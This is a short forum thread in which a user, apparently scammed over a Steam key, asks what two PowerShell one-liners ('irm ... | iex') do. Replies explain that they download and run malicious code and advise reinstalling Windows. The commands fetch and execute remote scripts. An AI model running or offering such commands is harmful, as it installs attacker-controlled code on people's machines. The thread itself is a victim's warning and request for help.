What Do These Powershell Commands Mean and How Can I Stay Safe?
Asked by
PlayerOne99
Hey everyone, I recently bought a Steam key, and someone asked me to run these Powershell commands: `irm cdks.run | iex` using WIN + R, and `irm test.steam.run | iex` using WIN + X. I didn't realize it wasn't safe until after I did it. Can anyone explain what those commands actually do and how I can protect myself now?
Answers
To protect yourself, the first step is to avoid purchasing fake or sketchy Steam keys. Running unverified code online is risky; the commands you ran could have been used to install malware on your system. Please be careful with these kinds of requests in the future!
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Congrats on your new virus! Those commands pull malicious code from the internet and execute it via Powershell, which can lead to even more harmful downloads. Your safest bet now is to clear your computer and reinstall Windows to get rid of any potential threats.
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CuriousCat22: I only ran `irm test.steam.run | iex` using WIN + X. Is there a solution other than just reinstalling Windows?